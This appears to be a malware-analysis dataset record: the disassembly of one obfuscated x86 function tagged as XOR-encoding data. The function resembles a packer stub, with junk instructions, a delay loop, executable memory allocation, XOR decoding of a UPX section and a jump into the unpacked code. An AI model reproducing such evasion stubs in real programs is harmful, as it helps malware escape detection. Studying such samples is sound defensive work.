Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x5f4e0576
add edx, 0x4cd393b
add edi, 0xbcc74111
popal
add edx, edi
inc edi
mov edx, 0
mov ebx, edi
mov esi, ecx
or esi, ecx
mov eax, ebx
add esi, ecx
sub ecx, esi
mov edi, eax
mov esi, ecx
and ecx, ecx
or ecx, esi
inc edx
mov ecx, 0xe394330f
add ecx, ecx
add ecx, 1
cmp edx, 0x1005e0e
jne 0xa789c7
mov ecx, esi
add ecx, 0x2faf95ca
not esi
mov edi, edx
or edx, edi
mov edx, 0xa78796
add ebx, 1
sub esi, 1
mov eax, esi
mov edi, 0xa7898a
and eax, eax
mov eax, 0x72fd0294
sub esi, eax
mov ecx, dword [edx]
dec esi
sub esi, eax
dec esi
and ecx, 0xff
not esi
mov ebx, eax
or eax, esi
xor dword [edi], ecx
dec eax
add eax, 0xa6e9181c
add edi, 1
mov esi, ebx
mov ebx, 0x2d86b629
inc edx
inc ebx
dec eax
and ebx, ebx
cmp edi, entry0
jl 0xa78a24
add esi, esi
sub ebx, 0x59867d1b
add esi, ebx
mov eax, 0x404c8c73
add eax, 0xd1f3568b
not esi
add esi, 0x27f3a789
and edi, ecx
mov ebx, 0xa7898e
dec ecx
and edx, ecx
mov ebx, dword [ebx]
mov edi, 0x38362ac1
sub edi, 0x5876dff2
mov ebx, dword [ebx]
and esi, edi
sub ecx, esi
mov edx, 0xcd992c5a
push ebx
sub esi, 0x70d26df4
add edx, 0xb9bcce1e
mov ebx, 0xa7898a
add edi, 0x8bc2ee88
and edx, edx
inc edi
mov ebx, dword [ebx]
not ecx
dec ecx
mov ebx, dword [ebx]
sub edx, 1
not edi
push 0xa78992
or ecx, edi
inc esi
call ebx
sub esi, 0xffb0d2f1
mov ecx, edi
mov ebx, dword [esp]
add esp, 4
add edx, 0xe09526fd
sub edx, 0xd0a418ed
sub esp, 4
mov dword [esp], 0xa7899f
mov edx, esi
inc edx
sub ecx, 0x8606fd3c
push eax
or edi, esi
mov ecx, 0x439095fc
mov esi, ecx
call ebx
and ecx, edi
mov ecx, 0x3662a908
dec ecx
push 0x40
dec esi
sub edi, 0x7a2c8f94
push 0x3000
mov edx, 0xc5c64bdd
sub esi, edx
push 0x20000325
inc edx
not edi
dec ecx
sub esp, 4
mov dword [esp], 0
mov edi, 0x7328203a
and edx, ecx
call eax
not edi
mov edx, edi
add eax, 0x20000266
or edi, edx
sub esi, ecx
mov ebx, 0x2eae3c55
add ecx, ecx
or esi, ecx
sub esi, edi
mov dword [eax], ebx
mov ecx, edx
mov edi, ecx
mov ebx, dword [eax]
not edx
inc edi
not edi
cmp ebx, 0x2eae3c55
je 0xa78b7a
mov ecx, 0
mov byte [ecx], al
inc ecx
not edx
mov ecx, edi
sub edx, 0x28524a64
mov esi, ecx
and edi, edi
and edx, edi
sub edx, 0xc9bb0465
mov esi, section.UPX1
mov edi, 0x2bf139c9
mov edx, 0x5bf63396
mov ebx, 0xa78795
dec edx
and edx, edi
mov ecx, 0
or edi, edi
and edi, edx
dec edx
mov eax, 0xa78796
dec edx
mov edx, 0x9c7c0b4
sub edx, edi
lea eax, [ecx + eax]
sub edx, edi
dec edx
mov eax, dword [eax]
inc edx
dec edx
not edx
and eax, 0xff
or edi, edi
add edi, 0x50c74e32
sub edi, 1
inc ecx
or edi, edx
inc edx
or edi, edi
cmp ecx, 0x1f4
jne 0xa78bf2
mov ecx, 0
mov edx, 0x6c407dc5
mov edx, edi
sub edi, 0xf7ea6c92
add edi, 0x48d71613
or edx, edi
and edx, edx
xor dword [esi], eax
mov edi, edx
mov edi, edx
add edi, 0xb9a09d81
add esi, 2
mov edx, 0x17dfe52a
not edi
cmp esi, ebx
jl 0xa78bb2
add edx, 0x7509df3a
sub edx, 0xb6873f3
mov edi, 0x74db3180
add edx, 0x58d2489e
inc edx
mov edi, section.UPX1
mov ecx, edx
sub ecx, 0xc77512e
add edx, 0x2faff409
mov ebx, section.UPX1
dec edx
and edx, ecx
mov esi, 0xa78795
mov ecx, 0x6b478ba5
add edx, 0x9149e55
mov ecx, edx
mov eax, 0
mov edx, 0x13263b43
mov edx, 0x4d9ade89
dec ecx
mov al, byte [ebx]
not edx
sub edx, ecx
inc ecx
mov byte [edi], al
sub edx, 0x69a914b1
add ecx, ecx
inc edi
or edx, ecx
sub ecx, 0x4faf139c
not edx
add ebx, 2
and edx, edx
add ecx, 0x8f3af775
dec ecx
cmp ebx, esi
jle 0xa78c7f
and ecx, edx
and edx, edx
mov edx, 0x18200ae5
sub edx, edi
sub esp, 4
mov dword [esp], 0x8dc6a0
mov edi, 0x7532d8a8
mov edi, 0xe47f74b7
ret